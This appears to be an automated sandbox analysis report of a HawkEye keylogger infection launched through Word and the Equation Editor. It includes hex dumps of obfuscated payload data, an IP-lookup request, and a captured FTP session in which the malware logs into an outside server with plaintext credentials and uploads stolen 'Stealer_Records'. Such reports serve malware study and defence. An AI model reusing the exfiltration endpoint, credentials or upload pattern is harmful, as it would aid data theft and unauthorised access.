                                                                                                            2022-02-14 07:12:31 UTC1136INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ba ad ff ff ff ff ff ff e3 bc
                                                                                                            Data Ascii:
                                                                                                            2022-02-14 07:12:31 UTC1152INData Raw: 28 00 60 a2 00 00 00 00 10 00 91 85 a5 01 28 00 5c 02 01 00 00 00 10 00 0d 86 ac 01 28 00 9c a2 00 00 00 00 10 00 89 86 3e 02 28 00 b0 a2 00 00 00 00 10 00 05 87 76 01 28 00 70 02 01 00 00 00 91 00 b9 87 1b 00 28 00 d8 05 01 00 00 00 10 00 be 87 1b 00 28 00 ec 05 01 00 00 00 10 00 3a 88 51 04 28 00 00 06 01 00 00 00 10 00 b6 88 56 04 28 00 14 06 01 00 00 00 86 18 53 00 0a 00 28 00 c8 d9 00 00 00 00 81 00 41 89 dd 02 28 00 40 06 01 00 00 00 81 00 b3 7d dd 02 2a 00 90 07 01 00 00 00 81 00 a7 7d dd 02 2c 00 b4 08 01 00 00 00 81 00 9b 7d dd 02 2e 00 48 0a 01 00 00 00 81 00 8e 7d dd 02 30 00 e4 0b 01 00 00 00 c4 00 df 3a 3f 01 32 00 c8 0c 01 00 00 00 81 00 f1 3a 0a 00 33 00 5c 16 01 00 00 00 10 00 4f 89 3e 02 33 00 70 16 01 00 00 00 10 00 cb 89 56 04 33 00 64
                                                                                                            Data Ascii: (`(\(>(v(p((:Q(V(S(A(@}*},}.H}0:?2:3\O>3pV3d
                                                                                                            2022-02-14 07:12:31 UTC1168INData Raw: e2 80 aa e2 80 8c e2 81 aa e2 81 aa e2 80 ac e2 80 aa e2 81 aa e2 81 ad e2 80 8e e2 81 aa e2 81 af e2 80 8e e2 81 aa e2 80 ae e2 80 ae e2 80 ae 00 e2 80 8e e2 81 ab e2 80 8d e2 81 ae e2 80 ad e2 80 ac e2 81 af e2 81 ae e2 80 ab e2 80 8c e2 80 8d e2 80 8f e2 80 8f e2 81 aa e2 81 ac e2 81 ab e2 81 af e2 81 ab e2 81 ad e2 80 8e e2 80 ac e2 81 ad e2 81 aa e2 80 8b e2 81 ad e2 80 ac e2 81 af e2 80 ad e2 80 8e e2 81 ac e2 80 8e e2 80 aa e2 80 8d e2 80 8e e2 80 8d e2 80 ad e2 80 8e e2 80 ad e2 80 ad e2 80 8d e2 80 ae 00 e2 81 ab e2 80 ad e2 80 ad e2 80 8f e2 80 8d e2 80 ac e2 81 ac e2 80 8f e2 81 ae e2 80 8c e2 80 ab e2 81 ae e2 80 ab e2 80 8b e2 80 ad e2 80 8c e2 81 af e2 80 8d e2 80 8b e2 80 ae e2 80 ad e2 80 8b e2 81 ac e2 80 8c e2 81 aa e2 80 ac e2 80 8d e2
                                                                                                            Data Ascii:
                                                                                                            2022-02-14 07:12:31 UTC1184INData Raw: ae e2 81 ad e2 81 ad e2 80 8c e2 80 ae e2 81 ad e2 80 8c e2 80 ab e2 81 ad e2 81 aa e2 81 aa e2 80 8f e2 81 ae e2 80 8b e2 80 8b e2 80 ad e2 81 ae e2 80 aa e2 80 ad e2 80 ae 00 54 65 78 74 42 6f 78 42 61 73 65 00 e2 80 aa e2 80 ac e2 80 ab e2 80 aa e2 81 ac e2 80 8f e2 80 ac e2 80 ae e2 80 ad e2 80 aa e2 80 ad e2 81 ae e2 80 ab e2 80 ad e2 80 ae e2 80 ab e2 80 8c e2 80 ae e2 80 8d e2 80 8c e2 81 ac e2 80 8c e2 80 8b e2 80 8c e2 80 8b e2 80 8c e2 81 ac e2 81 ae e2 80 8c e2 80 aa e2 80 8b e2 80 8d e2 80 8f e2 80 8b e2 80 ad e2 81 ad e2 81 ae e2 80 8e e2 80 8d e2 81 ab e2 80 ae 00 e2 80 ab e2 80 ab e2 80 8e e2 81 ac e2 80 aa e2 80 ab e2 81 ae e2 80 ad e2 80 aa e2 81 ac e2 80 ac e2 80 ac e2 80 8e e2 80 ac e2 80 8e e2 81 ae e2 81 af e2 81 aa e2 80 8b e2 81 ad
                                                                                                            Data Ascii: TextBoxBase
                                                                                                            2022-02-14 07:12:31 UTC1200INData Raw: aa e2 81 af e2 81 ad e2 81 ae e2 80 aa e2 80 8e e2 81 ab e2 80 8f e2 80 8b e2 81 ac e2 80 8c e2 80 ad e2 81 aa e2 80 8c e2 80 ad e2 80 ae 00 49 6e 73 74 61 6e 63 65 00 4f 6e 45 6e 65 6d 79 47 65 6e 65 72 61 74 69 6f 6e 00 4b 69 6c 6c 43 6f 75 6e 74 00 43 75 72 72 65 6e 74 45 6e 74 69 74 79 00 47 65 6e 65 72 61 74 65 45 6e 65 6d 79 00 4d 75 6c 74 69 63 61 73 74 44 65 6c 65 67 61 74 65 00 6f 62 6a 65 63 74 00 6d 65 74 68 6f 64 00 49 6e 76 6f 6b 65 00 42 65 67 69 6e 49 6e 76 6f 6b 65 00 49 41 73 79 6e 63 52 65 73 75 6c 74 00 41 73 79 6e 63 43 61 6c 6c 62 61 63 6b 00 63 61 6c 6c 62 61 63 6b 00 45 6e 64 49 6e 76 6f 6b 65 00 72 65 73 75 6c 74 00 54 61 72 67 65 74 69 6e 67 00 6f 62 6a 00 65 76 74 00 43 6f 6d 62 61 74 53 74 61 74 65 00 46 49 47 48 54 49 4e 47 00
                                                                                                            Data Ascii: InstanceOnEnemyGenerationKillCountCurrentEntityGenerateEnemyMulticastDelegateobjectmethodInvokeBeginInvokeIAsyncResultAsyncCallbackcallbackEndInvokeresultTargetingobjevtCombatStateFIGHTING


                                                                                                            Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                            1192.168.2.2249169104.16.154.36443C:\Users\user\AppData\Roaming\name.exe
                                                                                                            TimestampkBytes transferredDirectionData
                                                                                                            2022-02-14 07:12:43 UTC1215OUTGET / HTTP/1.1
                                                                                                            Host: whatismyipaddress.com
                                                                                                            Connection: Keep-Alive
                                                                                                            2022-02-14 07:12:43 UTC1215INHTTP/1.1 403 Forbidden
                                                                                                            Date: Mon, 14 Feb 2022 07:12:43 GMT
                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                            Transfer-Encoding: chunked
                                                                                                            Connection: close
                                                                                                            CF-Chl-Bypass: 1
                                                                                                            Permissions-Policy: accelerometer=(),autoplay=(),camera=(),clipboard-read=(),clipboard-write=(),fullscreen=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()
                                                                                                            Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                                                            Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                                                            X-Frame-Options: SAMEORIGIN
                                                                                                            Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                            Set-Cookie: __cf_bm=hDACoyEhQzrWjdFgEu58Dm7pRYHSWVnH64yvmBJC4Hk-1644822763-0-AULiFt8L82ZwVudkJEiWBs0383quw6KF/Y+5pFHi4t8WzVxwfoJjr4MGEwkxMCjEhsUh9Gta3Bs+gbK8GB0V6/A=; path=/; expires=Mon, 14-Feb-22 07:42:43 GMT; domain=.whatismyipaddress.com; HttpOnly; Secure
                                                                                                            Server: cloudflare
                                                                                                            CF-RAY: 6dd47d612cb45b74-FRA
                                                                                                            alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
                                                                                                            2022-02-14 07:12:43 UTC1216INData Raw: 33 34 34 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20
                                                                                                            Data Ascii: 3442<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
                                                                                                            2022-02-14 07:12:43 UTC1216INData Raw: 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 74 69 74 6c 65 3e 50 6c 65 61 73 65 20 57 61 69 74 2e 2e 2e 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 61 70 74 63 68 61 2d 62 79 70 61 73 73 22 20 69 64 3d 22 63 61 70 74 63 68 61 2d 62 79 70 61 73 73 22 20 2f 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22
                                                                                                            Data Ascii: o-js" lang="en-US"> ...<![endif]--><head><title>Please Wait... | Cloudflare</title> <meta name="captcha-bypass" id="captcha-bypass" /><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="
                                                                                                            2022-02-14 07:12:43 UTC1218INData Raw: 20 63 55 50 4d 44 54 6b 3a 20 22 5c 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 74 6b 3d 68 59 39 73 6c 6e 42 61 34 42 76 54 59 5f 43 66 48 67 50 37 61 48 50 70 68 35 78 79 6b 53 39 66 4d 65 44 4e 2e 44 68 63 78 53 59 2d 31 36 34 34 38 32 32 37 36 33 2d 30 2d 67 61 4e 79 63 47 7a 4e 42 31 45 22 2c 0a 20 20 20 20 20 20 20 20 63 46 50 57 76 3a 20 22 62 22 2c 0a 20 20 20 20 20 20 20 20 63 54 54 69 6d 65 4d 73 3a 20 22 31 30 30 30 22 2c 0a 20 20 20 20 20 20 20 20 63 4c 74 3a 20 22 6e 22 2c 0a 20 20 20 20 20 20 20 20 63 52 71 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 72 75 3a 20 22 61 48 52 30 63 48 4d 36 4c 79 39 33 61 47 46 30 61 58 4e 74 65 57 6c 77 59 57 52 6b 63 6d 56 7a 63 79 35 6a 62 32 30 76 22 2c 0a 20 20 20 20 20 20 20 20 20 20 72 61 3a 20 22 22 2c 0a 20 20 20
                                                                                                            Data Ascii: cUPMDTk: "\/?__cf_chl_tk=hY9slnBa4BvTY_CfHgP7aHPph5xykS9fMeDN.DhcxSY-1644822763-0-gaNycGzNB1E", cFPWv: "b", cTTimeMs: "1000", cLt: "n", cRq: { ru: "aHR0cHM6Ly93aGF0aXNteWlwYWRkcmVzcy5jb20v", ra: "",
                                                                                                            2022-02-14 07:12:43 UTC1219INData Raw: 20 7d 28 29 29 3b 0a 20 20 20 20 2f 2f 5d 5d 3e 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 0a 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 23 63 66 2d 77 72 61 70 70 65 72 20 23 73 70 69 6e 6e 65 72 20 7b 77 69 64 74 68 3a 36 39 70 78 3b 20 6d 61 72 67 69 6e 3a 20 20 61 75 74 6f 3b 7d 0a 20 20 23 63 66 2d 77 72 61 70 70 65 72 20 23 63 66 2d 70 6c 65 61 73 65 2d 77 61 69 74 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 0a 20 20 2e 61 74 74 72 69 62 75 74 69 6f 6e 20 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 32 70 78 3b 7d 0a 20 20 2e 62 75 62 62 6c 65 73 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 38 32 32 30 3b 20 77 69 64 74 68 3a 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20
                                                                                                            Data Ascii: }()); //... </script> <style type="text/css"> #cf-wrapper #spinner {width:69px; margin: auto;} #cf-wrapper #cf-please-wait{text-align:center} .attribution {margin-top: 32px;} .bubbles { background-color: #f58220; width:20px; height:
                                                                                                            2022-02-14 07:12:43 UTC1221INData Raw: 22 3e 57 65 20 61 72 65 20 63 68 65 63 6b 69 6e 67 20 79 6f 75 72 20 62 72 6f 77 73 65 72 2e 2e 2e 3c 2f 73 70 61 6e 3e 20 77 68 61 74 69 73 6d 79 69 70 61 64 64 72 65 73 73 2e 63 6f 6d 3c 2f 68 32 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 65 63 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 20 63 66 2d 63 61 70 74 63 68 61 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d
                                                                                                            Data Ascii: ">We are checking your browser...</span> whatismyipaddress.com</h2> </div> <div class="cf-section cf-highlight cf-captcha-container"> <div class="cf-wrapper"> <div class="cf-columns two"> <div class=
                                                                                                            2022-02-14 07:12:43 UTC1222INData Raw: 70 6b 43 72 50 46 56 59 4f 6a 69 6d 31 35 2d 61 6c 56 4b 65 74 43 4d 5a 5a 44 6d 72 33 77 7a 66 5f 69 66 6e 6d 33 43 42 74 49 72 72 4e 5a 38 7a 34 5f 74 78 6d 75 32 63 75 71 53 4f 79 2d 35 58 34 31 5f 53 49 6b 54 4a 7a 6e 53 6f 7a 54 6a 56 6a 38 57 73 55 72 31 64 6f 69 65 76 74 61 4c 6b 31 66 38 67 62 41 4a 79 45 2d 69 46 41 39 68 6c 4a 49 7a 49 31 66 6c 66 65 73 36 63 71 57 67 79 73 49 64 6c 43 35 6a 57 6c 65 59 6f 34 47 5f 37 4d 69 4f 39 7a 78 46 69 35 66 30 30 73 7a 63 77 36 41 66 75 6b 7a 5a 41 48 4a 61 32 36 6f 65 30 79 55 4c 50 53 51 6c 53 64 46 72 65 39 32 4f 47 4d 6f 34 54 53 6e 30 7a 63 5f 74 42 7a 70 4f 32 65 52 61 58 68 74 69 4c 54 7a 78 65 49 5a 6d 41 62 67 53 68 4d 54 72 7a 48 62 67 2d 76 31 35 48 33 49 38 6a 62 61 55 31 51 59 73 45 71 46 7a
                                                                                                            Data Ascii: pkCrPFVYOjim15-alVKetCMZZDmr3wzf_ifnm3CBtIrrNZ8z4_txmu2cuqSOy-5X41_SIkTJznSozTjVj8WsUr1doievtaLk1f8gbAJyE-iFA9hlJIzI1flfes6cqWgysIdlC5jWleYo4G_7MiO9zxFi5f00szcw6AfukzZAHJa26oe0yULPSQlSdFre92OGMo4TSn0zc_tBzpO2eRaXhtiLTzxeIZmAbgShMTrzHbg-v15H3I8jbaU1QYsEqFz
                                                                                                            2022-02-14 07:12:43 UTC1223INData Raw: 61 6a 73 2b 4d 33 4e 4a 76 6d 68 68 6d 7a 44 71 41 58 6c 73 49 62 61 59 53 4f 37 2f 2f 77 31 58 76 7a 72 58 57 64 69 52 5a 35 6d 58 53 70 37 73 46 53 4a 71 62 4b 72 55 65 73 46 75 50 33 55 31 37 38 59 68 61 34 4d 7a 55 73 6d 77 2f 42 6b 6c 6b 70 78 63 56 77 4c 4e 4d 66 6c 44 75 2b 4b 2f 6a 53 54 73 37 77 57 30 55 72 4b 49 61 51 6a 38 74 4c 66 46 6d 69 59 72 5a 6c 5a 50 37 4d 64 4a 2b 6a 34 58 4a 53 59 33 59 61 6a 54 4d 51 44 6d 35 54 51 69 5a 41 57 5a 5a 47 45 32 66 67 54 66 43 41 39 68 78 46 39 34 70 6c 6c 72 32 70 6c 43 47 61 4b 31 75 35 4e 38 35 70 62 46 39 2b 72 49 44 56 74 4f 4a 72 67 2f 69 62 77 4a 70 71 68 61 67 62 34 42 6c 6d 44 41 51 6b 64 61 68 46 46 70 69 5a 4b 67 2b 47 76 55 2f 5a 42 7a 62 5a 47 48 62 53 73 68 2b 77 68 6e 34 5a 45 66 5a 33 57
                                                                                                            Data Ascii: ajs+M3NJvmhhmzDqAXlsIbaYSO7//w1XvzrXWdiRZ5mXSp7sFSJqbKrUesFuP3U178Yha4MzUsmw/BklkpxcVwLNMflDu+K/jSTs7wW0UrKIaQj8tLfFmiYrZlZP7MdJ+j4XJSY3YajTMQDm5TQiZAWZZGE2fgTfCA9hxF94pllr2plCGaK1u5N85pbF9+rIDVtOJrg/ibwJpqhagb4BlmDAQkdahFFpiZKg+GvU/ZBzbZGHbSsh+whn4ZEfZ3W
                                                                                                            2022-02-14 07:12:43 UTC1225INData Raw: 76 61 6c 75 65 3d 22 33 32 65 63 38 66 62 65 64 32 38 61 34 33 37 38 33 37 63 35 64 62 39 61 62 62 30 37 33 38 65 36 22 3e 0a 20 20 0a 20 20 3c 6e 6f 73 63 72 69 70 74 20 69 64 3d 22 63 66 2d 63 61 70 74 63 68 61 2d 62 6f 6f 6b 6d 61 72 6b 22 20 63 6c 61 73 73 3d 22 63 66 2d 63 61 70 74 63 68 61 2d 69 6e 66 6f 22 3e 0a 20 20 3c 68 31 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 74 75 72 6e 5f 6f 6e 5f 6a 73 22 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 62 64 32 34 32 36 3b 22 3e 50 6c 65 61 73 65 20 74 75 72 6e 20 4a 61 76 61 53 63 72 69 70 74 20 6f 6e 20 61 6e 64 20 72 65 6c 6f 61 64 20 74 68 65 20 70 61 67 65 2e 3c 2f 68 31 3e 0a 20 20 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 6e 6f 2d 63 6f 6f 6b 69 65 2d 77 61
                                                                                                            Data Ascii: value="32ec8fbed28a437837c5db9abb0738e6"> <noscript id="cf-captcha-bookmark" class="cf-captcha-info"> <h1 data-translate="turn_on_js" style="color:#bd2426;">Please turn JavaScript on and reload the page.</h1> </noscript> <div id="no-cookie-wa
                                                                                                            2022-02-14 07:12:43 UTC1226INData Raw: 69 62 75 74 65 28 22 73 72 63 22 2c 20 22 2f 63 64 6e 2d 63 67 69 2f 69 6d 61 67 65 73 2f 74 72 61 63 65 2f 6d 61 6e 61 67 65 64 2f 6a 73 2f 74 72 61 6e 73 70 61 72 65 6e 74 2e 67 69 66 3f 72 61 79 3d 36 64 64 34 37 64 36 31 32 63 62 34 35 62 37 34 22 29 3b 0a 20 20 20 20 20 20 20 20 74 72 6b 6a 73 2e 69 64 20 3d 20 22 74 72 6b 5f 6d 61 6e 61 67 65 64 5f 6a 73 22 3b 0a 20 20 20 20 20 20 20 20 74 72 6b 6a 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 6c 74 22 2c 20 22 22 29 3b 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 72 6b 6a 73 29 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 63 70 6f 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0a
                                                                                                            Data Ascii: ibute("src", "/cdn-cgi/images/trace/managed/js/transparent.gif?ray=6dd47d612cb45b74"); trkjs.id = "trk_managed_js"; trkjs.setAttribute("alt", ""); document.body.appendChild(trkjs); var cpo=document.createElement('script');
                                                                                                            2022-02-14 07:12:43 UTC1227INData Raw: 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 65 63 74 69 6f 6e 20 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f
                                                                                                            Data Ascii: <span class="cf-no-screenshot"></span> </div> </div> </div> </div> </div> <div class="cf-section cf-wrapper"> <div class="cf-columns two"> <div class="cf-co
                                                                                                            2022-02-14 07:12:43 UTC1229INData Raw: 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 36 64 64 34 37 64 36 31 32 63 62 34 35 62 37 34 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74
                                                                                                            Data Ascii: der-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">6dd47d612cb45b74</strong></span> <span class="cf-footer-separator sm:hidden">&bull;</span> <span class="cf-foot
                                                                                                            2022-02-14 07:12:43 UTC1229INData Raw: 30 0d 0a 0d 0a
                                                                                                            Data Ascii: 0


                                                                                                            FTP Packets

                                                                                                            TimestampSource PortDest PortSource IPDest IPCommands
                                                                                                            Feb 14, 2022 08:13:06.125205994 CET214917066.70.204.222192.168.2.22220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
                                                                                                            220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.
                                                                                                            220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 11:13. Server port: 21.
                                                                                                            220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 11:13. Server port: 21.220-This is a private system - No anonymous login
                                                                                                            220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 11:13. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.
                                                                                                            220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 11:13. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
                                                                                                            Feb 14, 2022 08:13:06.126061916 CET4917021192.168.2.2266.70.204.222USER Elooggs2020@manchutimefashion.com
                                                                                                            Feb 14, 2022 08:13:06.226727962 CET214917066.70.204.222192.168.2.22331 User Elooggs2020@manchutimefashion.com OK. Password required
                                                                                                            Feb 14, 2022 08:13:06.227005005 CET4917021192.168.2.2266.70.204.222PASS [r2W$.jaD*?p
                                                                                                            Feb 14, 2022 08:13:06.337088108 CET214917066.70.204.222192.168.2.22230 OK. Current restricted directory is /
                                                                                                            Feb 14, 2022 08:13:06.438090086 CET214917066.70.204.222192.168.2.22504 Unknown command
                                                                                                            Feb 14, 2022 08:13:06.438503027 CET4917021192.168.2.2266.70.204.222PWD
                                                                                                            Feb 14, 2022 08:13:06.538994074 CET214917066.70.204.222192.168.2.22257 "/" is your current location
                                                                                                            Feb 14, 2022 08:13:06.539330006 CET4917021192.168.2.2266.70.204.222TYPE I
                                                                                                            Feb 14, 2022 08:13:06.639853001 CET214917066.70.204.222192.168.2.22200 TYPE is now 8-bit binary
                                                                                                            Feb 14, 2022 08:13:06.640356064 CET4917021192.168.2.2266.70.204.222PASV
                                                                                                            Feb 14, 2022 08:13:06.741401911 CET214917066.70.204.222192.168.2.22227 Entering Passive Mode (66,70,204,222,227,143)
                                                                                                            Feb 14, 2022 08:13:06.977054119 CET4917021192.168.2.2266.70.204.222STOR HawkEye_Keylogger_Stealer_Records_082561 2.14.2022 8:37:42 AM.txt
                                                                                                            Feb 14, 2022 08:13:07.043369055 CET214917066.70.204.222192.168.2.22227 Entering Passive Mode (66,70,204,222,227,143)
                                                                                                            Feb 14, 2022 08:13:07.077764034 CET214917066.70.204.222192.168.2.22150 Accepted data connection
                                                                                                            Feb 14, 2022 08:13:07.211874008 CET214917066.70.204.222192.168.2.22226-File successfully transferred
                                                                                                            226-File successfully transferred226 0.134 seconds (measured here), 11.18 Kbytes per second

                                                                                                            Statistics

                                                                                                            CPU Usage

                                                                                                            Click to jump to process

                                                                                                            Memory Usage

                                                                                                            Click to jump to process

                                                                                                            High Level Behavior Distribution

                                                                                                            Click to dive into process behavior distribution

                                                                                                            Behavior

                                                                                                            Click to jump to process

                                                                                                            System Behavior

                                                                                                            General

                                                                                                            Target ID:0
                                                                                                            Start time:08:12:16
                                                                                                            Start date:14/02/2022
                                                                                                            Path:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                                                                                                            Wow64 process (32bit):false
                                                                                                            Commandline:"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
                                                                                                            Imagebase:0x13ff00000
                                                                                                            File size:1423704 bytes
                                                                                                            MD5 hash:9EE74859D22DAE61F1750B3A1BACB6F5
                                                                                                            Has elevated privileges:true
                                                                                                            Has administrator privileges:true
                                                                                                            Programmed in:C, C++ or other language
                                                                                                            Reputation:high

                                                                                                            General

                                                                                                            Target ID:2
                                                                                                            Start time:08:12:20
                                                                                                            Start date:14/02/2022
                                                                                                            Path:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                                                                                                            Wow64 process (32bit):true
                                                                                                            Commandline:"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
                                                                                                            Imagebase:0x400000
                                                                                                            File size:543304 bytes
                                                                                                            MD5 hash:A87236E214F6D42A65F5DEDAC816AEC8
                                                                                                            Has elevated privileges:true
                                                                                                            Has administrator privileges:true
